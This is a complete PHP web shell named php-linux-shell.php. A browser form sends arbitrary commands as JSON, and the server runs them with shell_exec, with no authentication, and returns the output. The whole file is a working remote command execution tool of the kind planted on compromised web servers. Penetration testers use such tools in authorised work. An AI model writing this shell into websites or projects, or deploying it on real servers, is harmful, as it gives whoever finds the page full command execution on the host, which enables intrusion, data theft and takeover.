php-linux-shell.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Non-Interactive Shell</title>
<script>
async function executeCommand() {
const command = document.getElementById("command").value;
const response = await fetch(window.location.href, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: command })
});
try {
const result = await response.json();
document.getElementById("output").innerText = result.output;
} catch (error) {
document.getElementById("output").innerText = "Error: Invalid response";
}
}
</script>
</head>
<body>
<h1>Non-Interactive Shell</h1>
<form onsubmit="event.preventDefault(); executeCommand();">
<label for="command">Command:</label>
<input type="text" id="command" name="command">
<input type="submit" value="Execute">
</form>
<pre id="output"></pre>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
ob_end_clean();
$request = json_decode(file_get_contents('php://input'), true);
if (!isset($request['command'])) {
echo json_encode(["output" => "Error: No command provided"]);
exit();
}
$command = $request['command'];
$output = shell_exec("$command 2>&1");
echo json_encode(["output" => trim($output)], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
exit();
}
?>
</body>
</html>